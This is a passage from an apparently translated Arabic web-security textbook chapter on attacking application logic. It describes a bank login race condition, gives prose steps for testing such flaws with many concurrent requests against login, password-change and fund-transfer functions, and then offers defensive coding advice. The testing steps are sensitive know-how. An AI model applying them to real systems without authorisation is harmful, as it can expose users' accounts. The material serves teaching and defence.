‫ﺑﻌﺪﺇﺟﺮﺍء ﺑﻌﺾ ﺍﻟﺘﺤﻘﻴﻘﺎﺕ‪ ،‬ﺍﻛﺘﺸﻒ ﺍﻟﺒﻨﻚ ﺃﻥ ﺍﻟﺨﻄﺄ ﻛﺎﻥ ﻳﺤﺪﺙ ﻋﻨﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ‬
‫ﻣﺴﺘﺨﺪﻣﻴﻦﻣﺨﺘﻠﻔﻴﻦ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻓﻲ ﻧﻔﺲ ﺍﻟﻠﺤﻈﺔ‪ .‬ﻟﻢ ﻳﺤﺪﺙ ﻫﺬﺍ ﻓﻲ ﻛﻞ ﻣﺮﺓ‪ ،‬ﺑﻞ ﻓﻲ‬
‫ﻣﺠﻤﻮﻋﺔﻓﺮﻋﻴﺔ ﻣﻨﻬﺎ ﻓﻘﻂ‪ .‬ﻛﺎﻥ ﺍﻟﺴﺒﺐ ﺍﻟﺮﺉﻴﺴﻲ ﻫﻮ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻛﺎﻥ ﻳﺨﺰﻥ ﻟﻔﺘﺮﺓ ﻭﺟﻴﺰﺓ ﻣﻌُﺮﻓّﺎً‬
‫ﺭﺉﻴﺴﻴﺎًﻟﻜﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﺣﺪﻳﺜﺎً ﺩﺍﺧﻞ ﻣﺘﻐﻴﺮ ﺛﺎﺑﺖ )ﻏﻴﺮ ﻣﺮﺗﺒﻂ ﺑﺠﻠﺴﺔ(‪ .‬ﺑﻌﺪ ﻛﺘﺎﺑﺘﻪ‪،‬‬
‫ﻛﺎﻧﺖﻗﻴﻤﺔ ﻫﺬﺍ ﺍﻟﻤﺘﻐﻴﺮ ﺗﻘُﺮﺃ ﻻﺣﻘﺎً‪ .‬ﺇﺫﺍ ﻛﺘﺐ ﻣﺆﺷﺮ ﺗﺮﺍﺑﻂ ﻣﺨﺘﻠﻒ )ﻳﻌُﺎﻟﺞ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺁﺧﺮ( ﺇﻟﻰ‬
‫ﺍﻟﻤﺘﻐﻴﺮﺧﻼﻝ ﻫﺬﻩ ﺍﻟﻠﺤﻈﺔ‪ ،‬ﻓﺴﻴﻨﺘﻘﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺴﺎﺑﻖ ﺇﻟﻰ ﺟﻠﺴﺔ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺗﺎﺑﻌﺔ‬
‫ﻟﻠﻤﺴﺘﺨﺪﻡﺍﻟﺘﺎﻟﻲ‪.‬‬
‫‪427‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﻧﺸﺄﺕﺍﻟﺜﻐﺮﺓ ﻣﻦ ﻧﻔﺲ ﻧﻮﻉ ﺍﻟﺨﻄﺄ ﺍﻟﻤﺬﻛﻮﺭ ﻓﻲ ﻣﺜﺎﻝ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺍﻟﻤﻮﺻﻮﻑ ﺳﺎﺑﻘﺎً‪ :‬ﻛﺎﻥ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻳﺴﺘﺨﺪﻡ ﺗﺨﺰﻳﻨﺎً ﺛﺎﺑﺘﺎً ﻟﺤﻔﻆ ﻣﻌﻠﻮﻣﺎﺕ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻔﺘﺮﺽ ﺗﺨﺰﻳﻨﻬﺎ ﻟﻜﻞ ﺳﻠﺴﻠﺔ ﺃﻭ ﺟﻠﺴﺔ‪.‬‬
‫ﻣﻊﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ ﺃﻛﺜﺮ ﺩﻗﺔ ﻓﻲ ﺍﻟﻜﺸﻒ ﻋﻨﻪ‪ ،‬ﻭﻳﺼﻌﺐ ﺍﺳﺘﻐﻼﻟﻪ ﻧﻈﺮﺍً ﻻﺳﺘﺤﺎﻟﺔ ﺇﻋﺎﺩﺓ‬
‫ﺇﻧﺘﺎﺟﻪﺑﺸﻜﻞ ﻣﻮﺛﻮﻕ‪.‬‬

‫ﺗﻌُﺮﻑﻫﺬﻩ ﺍﻟﻌﻴﻮﺏ ﺑﺎﺳﻢ "ﺣﺎﻻﺕ ﺍﻟﺘﺴﺎﺑﻖ" ﻷﻧﻬﺎ ﺗﺘﻀﻤﻦ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺗﻨﺸﺄ ﻟﻔﺘﺮﺓ ﻭﺟﻴﺰﺓ ﻓﻲ ﻇﻞ‬
‫ﻇﺮﻭﻑﻣﺤﺪﺩﺓ‪ .‬ﻭﻷﻥ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻻ ﺗﺴﺘﻤﺮ ﺇﻻ ﻟﻔﺘﺮﺓ ﻗﺼﻴﺮﺓ‪ ،‬ﻓﺈﻥ ﺍﻟﻤﻬﺎﺟﻢ "ﻳﺴﺎﺭﻉ" ﻻﺳﺘﻐﻼﻟﻬﺎ ﻗﺒﻞ‬
‫ﺃﻥﻳﻐُﻠﻘﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺠﺪﺩﺍً‪ .‬ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﻜﻮﻥ ﻓﻴﻬﺎ ﺍﻟﻤﻬﺎﺟﻢ ﻣﺤﻠﻴﺎً ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ‬
‫ﻳﻜﻮﻥﻣﻦ ﺍﻟﻤﻤﻜﻦ ﻫﻨﺪﺳﺔ ﺍﻟﻈﺮﻭﻑ ﺍﻟﺪﻗﻴﻘﺔ ﺍﻟﺘﻲ ﺗﻨﺸﺄ ﻓﻴﻬﺎ ﺣﺎﻟﺔ ﺍﻟﺘﺴﺎﺑﻖ ﻭﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ‬
‫ﺑﺸﻜﻞﻣﻮﺛﻮﻕ ﺧﻼﻝ ﺍﻟﻔﺘﺮﺓ ﺍﻟﻤﺘﺎﺣﺔ‪ .‬ﺃﻣﺎ ﻋﻨﺪﻣﺎ ﻳﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻌﻴﺪﺍً ﻋﻦ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻓﻌﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ‬
‫ﺗﺤﻘﻴﻖﺫﻟﻚ ﺃﺻﻌﺐ ﺑﻜﺜﻴﺮ‪.‬‬

‫ﻣﻦﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻳﻜﻮﻥ ﺑﺈﻣﻜﺎﻥ ﻣﻬﺎﺟﻢ ﻋﻦ ﺑﻌُﺪ‪ ،‬ﻣﺪُﺭﻙ ﻟﻄﺒﻴﻌﺔ ﺍﻟﺜﻐﺮﺓ‪ ،‬ﺃﻥ ﻳﺼُﻤﻢّ ﻫﺠﻮﻣﺎً‬
‫ﻻﺳﺘﻐﻼﻟﻬﺎﺑﺎﺳﺘﺨﺪﺍﻡ ﺑﺮﻧﺎﻣﺞ ﻧﺼﻲ ﻟﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺑﺎﺳﺘﻤﺮﺍﺭ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺗﻔﺎﺻﻴﻞ ﺍﻟﺤﺴﺎﺏ‬
‫ﺍﻟﻤﺴُﺘﺨﺪﻡ‪.‬ﻟﻜﻦ ﺍﻟﻔﺘﺮﺓ ﺍﻟﺰﻣﻨﻴﺔ ﺍﻟﻘﺼﻴﺮﺓ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﺧﻼﻟﻬﺎ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺗﻌﻨﻲ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﻋﺪﺩ‬
‫ﻫﺎﺉﻞﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ‪.‬‬

‫ﻟﻢﻳﻜﻦ ﻣﻦ ﺍﻟﻤﻔﺎﺟﺊ ﻋﺪﻡ ﺍﻛﺘﺸﺎﻑ ﺣﺎﻟﺔ ﺍﻟﺘﺴﺎﺑﻖ ﺃﺛﻨﺎء ﺍﺧﺘﺒﺎﺭﺍﺕ ﺍﻻﺧﺘﺮﺍﻕ ﺍﻻﻋﺘﻴﺎﺩﻳﺔ‪ .‬ﻓﻘﺪ‬
‫ﻧﺸﺄﺕﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﻓﻘﻂ ﻋﻨﺪﻣﺎ ﺍﻛﺘﺴﺐ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺎﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻛﺒﻴﺮﺓ ﺑﻤﺎ ﻳﻜﻔﻲ ﻟﺤﺪﻭﺙ‬
‫ﺷﺬﻭﺫﺍﺕﻋﺸﻮﺍﺉﻴﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﺃﺑﻠﻎ ﻋﻨﻬﺎ ﺍﻟﻌﻤﻼء‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﺤﺪﻳﺪ ﺍﻟﻤﺸﻜﻠﺔ ﻣﻦ‬
‫ﺧﻼﻝﻣﺮﺍﺟﻌﺔ ﺩﻗﻴﻘﺔ ﻟﻤﻨﻄﻖ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻭﺇﺩﺍﺭﺓ ﺍﻟﺠﻠﺴﺔ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﺇﻥﺇﺟﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺍﻟﺼﻨﺪﻭﻕ ﺍﻷﺳﻮﺩ ﻋﻦ ﺑﻌُﺪ ﻟﻤﺸﺎﻛﻞ ﺳﻼﻣﺔ ﺍﻟﺨﻴﻮﻁ ﺍﻟﺪﻗﻴﻘﺔ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻟﻴﺲ‬
‫ﺑﺎﻷﻣﺮﺍﻟﺴﻬﻞ‪ .‬ﻳﻨﺒﻐﻲ ﺍﻋﺘﺒﺎﺭﻩ ﻣﻬﻤﺔ ﻣﺘﺨﺼﺼﺔ‪ ،‬ﻭﺭﺑﻤﺎ ﺗﻜﻮﻥ ﺿﺮﻭﺭﻳﺔ ﻓﻘﻂ ﻓﻲ ﺃﻛﺜﺮ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ‬
‫ﺣﺴﺎﺳﻴﺔ ًﻟﻸﻣﻦ‪.‬‬
‫‪.1‬ﺍﺳﺘﻬﺪﺍﻑ ﻋﻨﺎﺻﺮ ﻣﺤﺪﺩﺓ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ ﺍﻟﺮﺉﻴﺴﻴﺔ‪ ،‬ﻣﺜﻞ ﺁﻟﻴﺎﺕ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ‪،‬‬
‫ﻭﻭﻇﺎﺉﻒﺗﻐﻴﻴﺮ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ‪ ،‬ﻭﻋﻤﻠﻴﺎﺕ ﺗﺤﻮﻳﻞ ﺍﻷﻣﻮﺍﻝ‪.‬‬
‫‪.٢‬ﻟﻜﻞ ﻭﻇﻴﻔﺔ ﻣﺨُﺘﺒَﺮَﺓ‪ ،‬ﺣﺪﺩِّ ﻃﻠﺒﺎً ﻭﺍﺣﺪﺍً‪ ،‬ﺃﻭ ﻋﺪﺩﺍً ﺻﻐﻴﺮﺍً ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ‪ ،‬ﻳﻤُﻜﻦ ﻟﻤﺴﺘﺨﺪﻡ ﻣﻌُﻴﻦَّ‬
‫ﺍﺳﺘﺨﺪﺍﻣﻪﻟﺘﻨﻔﻴﺬ ﺇﺟﺮﺍء ﻭﺍﺣﺪ‪ .‬ﺍﺑﺤﺚ ﺃﻳﻀﺎً ﻋﻦ ﺃﺑﺴﻂ ﻭﺳﻴﻠﺔ ﻟﺘﺄﻛﻴﺪ ﻧﺘﻴﺠﺔ ﺍﻹﺟﺮﺍء‪ ،‬ﻣﺜﻞ‬
‫ﺍﻟﺘﺤﻘﻖﻣﻦ ﺃﻥ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻣﺴﺘﺨﺪﻡ ﻣﻌُﻴﻦَّ ﻗﺪ ﺃﺩﻯ ﺇﻟﻰ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻌﻠﻮﻣﺎﺕ‬
‫ﺣﺴﺎﺑﻪ‪.‬‬

‫‪.٣‬ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﺪﺓ ﺃﺟﻬﺰﺓ ﻋﺎﻟﻴﺔ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ‪ ،‬ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﻣﻮﺍﻗﻊ ﺷﺒﻜﺔ ﻣﺨﺘﻠﻔﺔ‪،‬‬
‫ﻗﻢﺑﺈﻋﺪﺍﺩ ﻫﺠﻮﻡ ﻟﺘﻨﻔﻴﺬ ﻧﻔﺲ ﺍﻹﺟﺮﺍء ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻣﺨﺘﻠﻔﻴﻦ‪.‬‬
‫ﺗﺄﻛﺪﻣﻦ ﺃﻥ ﻛﻞ ﺇﺟﺮﺍء ﻳﺤﻘﻖ ﺍﻟﻨﺘﻴﺠﺔ ﺍﻟﻤﺘﻮﻗﻌﺔ‪.‬‬

‫‪.٤‬ﺍﺳﺘﻌﺪ ﻟﻜﺜﺮﺓ ﺍﻟﻨﺘﺎﺉﺞ ﺍﻹﻳﺠﺎﺑﻴﺔ ﺍﻟﺨﺎﻃﺉﺔ‪ .‬ﺑﻨﺎء ًﻋﻠﻰ ﺣﺠﻢ ﺍﻟﺒﻨﻴﺔ ﺍﻟﺘﺤﺘﻴﺔ ﺍﻟﺪﺍﻋﻤﺔ ﻟﻠﺘﻄﺒﻴﻖ‪ ،‬ﻗﺪ‬
‫ﻳﻜﻮﻥﻫﺬﺍ ﺍﻟﻨﺸﺎﻁ ﺑﻤﺜﺎﺑﺔ ﺍﺧﺘﺒﺎﺭ ﺗﺤﻤﻴﻞ ﻟﻠﺘﺜﺒﻴﺖ‪ .‬ﻗﺪ ﺗﺤﺪﺙ ﺃﺧﻄﺎء ﻷﺳﺒﺎﺏ ﻻ ﻋﻼﻗﺔ ﻟﻬﺎ‬
‫ﺑﺎﻷﻣﻦ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪428‬‬

‫ﺗﺠﻨﺐﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ‬

‫ﻛﻤﺎﻻ ﻳﻮﺟﺪ ﺗﻮﻗﻴﻊ ﻓﺮﻳﺪ ﻳﻤُﻜﻦّ ﻣﻦ ﺗﺤﺪﻳﺪ ﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ‪ ،‬ﻻ ﻳﻮﺟﺪ ﺣﻞ‬
‫ﺳﺤﺮﻱﻳﺤﻤﻴﻚ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻻ ﻳﻮﺟﺪ ﺑﺪﻳﻞ ﻣﺒﺎﺷﺮ ﻻﺳﺘﺨﺪﺍﻡ ﺑﺪﻳﻞ ﺁﻣﻦ ﻟﻮﺍﺟﻬﺔ ﺑﺮﻣﺠﺔ‬
‫ﺗﻄﺒﻴﻘﺎﺕﺧﻄﻴﺮﺓ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﻤُﻜﻦ ﺗﻄﺒﻴﻖ ﻣﺠﻤﻮﻋﺔ ﻣﻦ ﺍﻟﻤﻤﺎﺭﺳﺎﺕ ﺍﻟﺠﻴﺪﺓ ﻟﺘﻘﻠﻴﻞ ﺧﻄﺮ ﻇﻬﻮﺭ‬
‫ﺍﻟﻌﻴﻮﺏﺍﻟﻤﻨﻄﻘﻴﺔ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺗﻚ ﺑﺸﻜﻞ ﻛﺒﻴﺮ‪:‬‬

‫ﺗﺄﻛﺪﻣﻦ ﺗﻮﺛﻴﻖ ﻛﻞ ﺟﺎﻧﺐ ﻣﻦ ﺟﻮﺍﻧﺐ ﺗﺼﻤﻴﻢ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻮﺿﻮﺡ ﻭﺗﻔﺎﺻﻴﻞ ﻛﺎﻓﻴﺔ ﻟﻴﺘﻤﻜﻦ‬ ‫‪-‬‬

‫ﺃﻱﺷﺨﺺ ﺧﺎﺭﺟﻲ ﻣﻦ ﻓﻬﻢ ﻛﻞ ﺍﻓﺘﺮﺍﺿﺎﺕ ﺍﻟﻤﺼﻤﻢ‪ .‬ﻳﺠﺐ ﺗﺴﺠﻴﻞ ﺟﻤﻴﻊ ﻫﺬﻩ‬


‫ﺍﻻﻓﺘﺮﺍﺿﺎﺕﺻﺮﺍﺣﺔ ًﻓﻲ ﻭﺛﺎﺉﻖ ﺍﻟﺘﺼﻤﻴﻢ‪.‬‬

‫ﺇﺻﺪﺍﺭﺃﻣﺮ ﺑﺄﻥ ﻳﺘﻢ ﺍﻟﺘﻌﻠﻴﻖ ﻋﻠﻰ ﺟﻤﻴﻊ ﺃﻛﻮﺍﺩ ﺍﻟﻤﺼﺪﺭ ﺑﺸﻜﻞ ﻭﺍﺿﺢ ﻟﺘﺸﻤﻞ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ‬ ‫‪-‬‬

‫ﺍﻟﺘﺎﻟﻴﺔﻓﻲ ﺟﻤﻴﻊ ﺃﻧﺤﺎﺉﻬﺎ‪:‬‬


‫ﺍﻟﻐﺮﺽﻭﺍﻻﺳﺘﺨﺪﺍﻣﺎﺕ ﺍﻟﻤﻘﺼﻮﺩﺓ ﻟﻜﻞ ﻣﻜﻮﻥ ﻣﻦ ﻣﻜﻮﻧﺎﺕ ﺍﻟﻜﻮﺩ‪.‬‬ ‫‪-‬‬

‫ﺍﻻﻓﺘﺮﺍﺿﺎﺕﺍﻟﺘﻲ ﻳﺘﺨﺬﻫﺎ ﻛﻞ ﻣﻜﻮﻥ ﺣﻮﻝ ﺃﻱ ﺷﻲء ﺧﺎﺭﺝ ﻋﻦ ﺳﻴﻄﺮﺗﻪ ﺍﻟﻤﺒﺎﺷﺮﺓ‪.‬‬ ‫‪-‬‬

‫ﺇﺷﺎﺭﺍﺕﺇﻟﻰ ﺟﻤﻴﻊ ﺃﻛﻮﺍﺩ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ﻫﺬﺍ ﺍﻟﻤﻜﻮﻥ‪ .‬ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻳﻤﻨﻊ‬ ‫‪-‬‬

‫ﻭﺟﻮﺩﺗﻮﺛﻴﻖ ﻭﺍﺿﺢ ﻟﻬﺬﺍ ﺍﻟﻐﺮﺽ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻋﺒﺮ ﺍﻹﻧﺘﺮﻧﺖ‪) .‬‬
‫ﻻﺣﻆﺃﻥ "ﺍﻟﻌﻤﻴﻞ" ﻫﻨﺎ ﻻ ﻳﺸﻴﺮ ﺇﻟﻰ ﻃﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﻋﻼﻗﺔ ﺍﻟﻌﻤﻴﻞ‪/‬ﺍﻟﺨﺎﺩﻡ‪ ،‬ﺑﻞ ﺇﻟﻰ‬
‫ﺃﻛﻮﺍﺩﺃﺧﺮﻯ ﻳﻜﻮﻥ ﺍﻟﻤﻜﻮﻥ ﺍﻟﻤﻌﻨﻲ ﺗﺎﺑﻌﺎً ﻟﻬﺎ ﺑﺸﻜﻞ ﻣﺒﺎﺷﺮ‪(.‬‬

‫ﺃﺛﻨﺎءﺍﻟﻤﺮﺍﺟﻌﺎﺕ ﺍﻷﻣﻨﻴﺔ ﻟﺘﺼﻤﻴﻢ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻓﻜﺮّ ﻓﻲ ﻛﻞ ﺍﻓﺘﺮﺍﺽ ﻣﻌُﺘﻤﺪ ﻓﻲ ﺍﻟﺘﺼﻤﻴﻢ‪،‬‬ ‫‪-‬‬

‫ﻭﺣﺎﻭﻝﺗﺼﻮﺭّ ﺍﻟﻈﺮﻭﻑ ﺍﻟﺘﻲ ﻗﺪ ﻳﻨُﺘﻬﻚ ﻓﻴﻬﺎ ﻛﻞ ﺍﻓﺘﺮﺍﺽ‪ .‬ﺭﻛﺰّ ﻋﻠﻰ ﺃﻱ ﻇﺮﻭﻑ ﻣﻔُﺘﺮﺿﺔ‬
‫ﻳﻤُﻜﻦﺃﻥ ﺗﻜﻮﻥ ﺿﻤﻦ ﺳﻴﻄﺮﺓ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬

‫ﺃﺛﻨﺎءﻣﺮﺍﺟﻌﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻟﺘﻲ ﺗﺮﻛﺰ ﻋﻠﻰ ﺍﻷﻣﺎﻥ‪ ،‬ﻓﻜﺮ ﺑﺸﻜﻞ ﺟﺎﻧﺒﻲ ﻓﻲ ﻣﻨﻄﻘﺘﻴﻦ ﺭﺉﻴﺴﻴﺘﻴﻦ‪:‬‬ ‫‪-‬‬

‫ﺍﻟﻄﺮﻕﺍﻟﺘﻲ ﺳﻴﺘﻌﺎﻣﻞ ﺑﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻊ ﺳﻠﻮﻙ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻊ‪ ،‬ﻭﺍﻵﺛﺎﺭ ﺍﻟﺠﺎﻧﺒﻴﺔ‬
‫ﺍﻟﻤﺤﺘﻤﻠﺔﻷﻱ ﺗﺒﻌﻴﺎﺕ ﻭﺍﻟﺘﺸﻐﻴﻞ ﺍﻟﻤﺘﺒﺎﺩﻝ ﺑﻴﻦ ﻣﻜﻮﻧﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻭﻭﻇﺎﺉﻒ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺍﻟﻤﺨﺘﻠﻔﺔ‪.‬‬
‫ﻭﻓﻴﻤﺎﻳﺘﺼﻞ ﺑﺎﻷﻣﺜﻠﺔ ﺍﻟﻤﺤﺪﺩﺓ ﻟﻠﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ ﺍﻟﺘﻲ ﻭﺻﻔﻨﺎﻫﺎ‪ ،‬ﻓﻤﻦ ﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻧﺘﻌﻠﻢ ﻋﺪﺩﺍ ً‬
‫ﻣﻦﺍﻟﺪﺭﻭﺱ ﺍﻟﻔﺮﺩﻳﺔ‪:‬‬
‫ﺍﻧﺘﺒﻪﺩﺍﺉﻤﺎً ﺇﻟﻰ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻳﺘﺤﻜﻤﻮﻥ ﻓﻲ ﻛﻞ ﺟﺎﻧﺐ ﻣﻦ ﺟﻮﺍﻧﺐ ﻛﻞ ﻃﻠﺐ )ﺍﻧﻈﺮ‬ ‫‪-‬‬

‫ﺍﻟﻔﺼﻞﺍﻷﻭﻝ(‪ .‬ﻳﻤﻜﻨﻬﻢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﻣﺘﻌﺪﺩﺓ ﺍﻟﻤﺮﺍﺣﻞ ﺑﺄﻱ ﺗﺴﻠﺴﻞ‪ .‬ﻳﻤﻜﻨﻬﻢ‬
‫ﺇﺭﺳﺎﻝﻣﻌﻠﻤﺎﺕ ﻟﻢ ﻳﻄﻠﺒﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻳﻤﻜﻨﻬﻢ ﺣﺬﻑ ﻣﻌﻠﻤﺎﺕ ﻣﻌﻴﻨﺔ‪ ،‬ﻭﻟﻴﺲ ﻓﻘﻂ ﺍﻟﺘﺪﺧﻞ‬
‫ﻓﻲﻗﻴﻤﻬﺎ‪.‬‬
‫ﺍﺗﺨﺬﺟﻤﻴﻊ ﺍﻟﻘﺮﺍﺭﺍﺕ ﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﻬﻮﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺣﺎﻟﺘﻪ ﺑﻨﺎء ًﻋﻠﻰ ﺟﻠﺴﺘﻪ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ‬ ‫‪-‬‬

‫ﺍﻟﺜﺎﻣﻦ(‪ .‬ﻻ ﺗﻔﺘﺮﺽ ﺃﻱ ﺷﻲء ﺑﺸﺄﻥ ﺍﻣﺘﻴﺎﺯﺍﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻨﺎء ًﻋﻠﻰ ﺃﻱ ﻣﻴﺰﺓ ﺃﺧﺮﻯ ﻓﻲ‬
‫ﺍﻟﻄﻠﺐ‪،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺣﺪﻭﺛﻪ ﺃﺻﻼً‪.‬‬
‫‪429‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﻋﻨﺪﺗﻨﻔﻴﺬ ﻭﻇﺎﺉﻒ ﺗﺤُﺪﺙِّ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺠﻠﺴﺔ ﺑﻨﺎء ًﻋﻠﻰ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺃﻭ ﺍﻹﺟﺮﺍءﺍﺕ ﺍﻟﺘﻲ‬ ‫‪-‬‬

‫ﻳﻨُﻔﺬِّﻫﺎ‪،‬ﻳﺮُﺟﻰ ﻣﺮﺍﻋﺎﺓ ﺃﻱ ﺗﺄﺛﻴﺮ ﻗﺪ ﺗﺤُﺪﺛِّﻪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺤُﺪﺛَّﺔ ﻋﻠﻰ ﻭﻇﺎﺉﻒ ﺃﺧﺮﻯ ﺩﺍﺧﻞ‬
‫ﺍﻟﺘﻄﺒﻴﻖ‪.‬ﻳﺮُﺟﻰ ﺍﻻﻧﺘﺒﺎﻩ ﺇﻟﻰ ﺍﺣﺘﻤﺎﻝ ﺣﺪﻭﺙ ﺁﺛﺎﺭ ﺟﺎﻧﺒﻴﺔ ﻏﻴﺮ ﻣﺘﻮﻗﻌﺔ ﻓﻲ ﻭﻇﺎﺉﻒ ﻏﻴﺮ ﺫﺍﺕ‬
‫ﺻﻠﺔﺗﻤﺎﻣﺎً‪ ،‬ﻭﺍﻟﺘﻲ ﺻﺎﻏﻬﺎ ﻣﺒُﺮﻣﺞ ﺃﻭ ﺣﺘﻰ ﻓﺮﻳﻖ ﺗﻄﻮﻳﺮ ﻣﺨُﺘﻠﻒ‪.‬‬

‫ﺇﺫﺍﻛﺎﻧﺖ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺗﻔُﻬﺮﺱ ﺑﻴﺎﻧﺎﺕ ﺣﺴﺎﺳﺔ ﻻ ﻳﻤﻠﻚ ﺑﻌﺾ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺻﻼﺣﻴﺔ‬ ‫‪-‬‬

‫ﺍﻟﻮﺻﻮﻝﺇﻟﻴﻬﺎ‪ ،‬ﻓﺘﺄﻛﺪ ﻣﻦ ﺃﻧﻬﺎ ﻻ ﺗﺘُﻴﺢ ﻟﻬﺆﻻء ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺃﻱ ﻭﺳﻴﻠﺔ ﻻﺳﺘﻨﺘﺎﺝ ﻣﻌﻠﻮﻣﺎﺕ‬


